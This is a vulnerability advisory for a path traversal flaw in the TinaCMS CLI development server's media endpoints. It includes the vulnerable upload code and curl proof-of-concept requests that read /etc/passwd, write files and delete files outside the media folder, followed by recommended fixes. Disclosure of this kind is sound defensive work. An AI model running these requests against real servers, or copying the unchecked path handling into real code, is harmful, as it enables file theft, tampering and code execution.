CVE-2026-28793

Summary

The TinaCMS CLI development server exposes media endpoints that are vulnerable to path traversal, allowing attackers to read and write arbitrary files on the filesystem outside the intended media directory.

Details

When running tinacms dev, the CLI starts a local HTTP server (default port 4001) exposing endpoints such as:

• /media/list/*
• /media/upload/*
• /media/*

These endpoints process user-controlled path segments using decodeURI() and path.join() without validating that the resolved path remains within the configured media directory.

Vulnerable code

bb.on('file', async (_name, file, _info) => {
      const fullPath = decodeURI(req.url?.slice('/media/upload/'.length));
      const saveTo = path.join(mediaFolder, ...fullPath.split('/'));
// No validation that saveTo remains within mediaFolder
      await fs.ensureDir(path.dirname(saveTo));
      file.pipe(fs.createWriteStream(saveTo));
    });

PoC

Arbitrary File Read

curl "http://localhost:4001/media/list/../../../etc/passwd"

Result:

<img width="889" height="280" alt="image(1)" src="https://github.com/user-attachments/assets/a878a86a-71db-46ed-abda-3d4ddba692e0" />

​

Arbitrary File Write

echo "ATTACKER_CONTROLLED_CONTENT" > /tmp/payload.txt
curl --path-as-is -X POST \
  "http://localhost:4001/media/upload/../../../../../../tmp/pwned.txt" \
  -F "file=@/tmp/payload.txt"
cat /tmp/pwned.txt

Result:

<img width="1320" height="84" alt="image(8)" src="https://github.com/user-attachments/assets/8bd5046b-0456-474f-ab96-4e18a421997c" />

Arbitrary File Delete

echo "delete_me" > /tmp/delete-test.txt
cat /tmp/delete-test.txt # confirms file exists
curl --path-as-is -X DELETE \
"http://localhost:4001/media/../../../../../../tmp/delete-test.txt"
cat /tmp/delete-test.txt # "No such file or directory"

<img width="1135" height="105" alt="image" src="https://github.com/user-attachments/assets/64c24b83-0259-4a12-969d-98c8e8cc81ca" />

Impact

An attacker who can reach the TinaCMS CLI dev server can:

• Read arbitrary files (e.g. /etc/passwd, .env, SSH keys)
• Write arbitrary files anywhere writable by the server process
• Delete or overwrite files, depending on endpoint usage
• Escalate to code execution in realistic development setups by overwriting executable scripts, configuration files, or watched source files

Attack Surface

The dev server binds to localhost by default, but exploitation is realistic in:

• Cloud IDEs (Codespaces, Gitpod)
• Docker or VM setups with port forwarding
• Misconfigured dev environments binding to 0.0.0.0
• Local malware or malicious dependencies

The server also enables permissive CORS, which may allow browser-based exploitation if the dev server is externally reachable, but CORS is not required for exploitation.

Recommended Fix

• Resolve paths to absolute form
• Enforce that resolved paths remain within the media root
• Reject .. path segments and absolute paths
• Consider authentication or token protection for dev server endpoints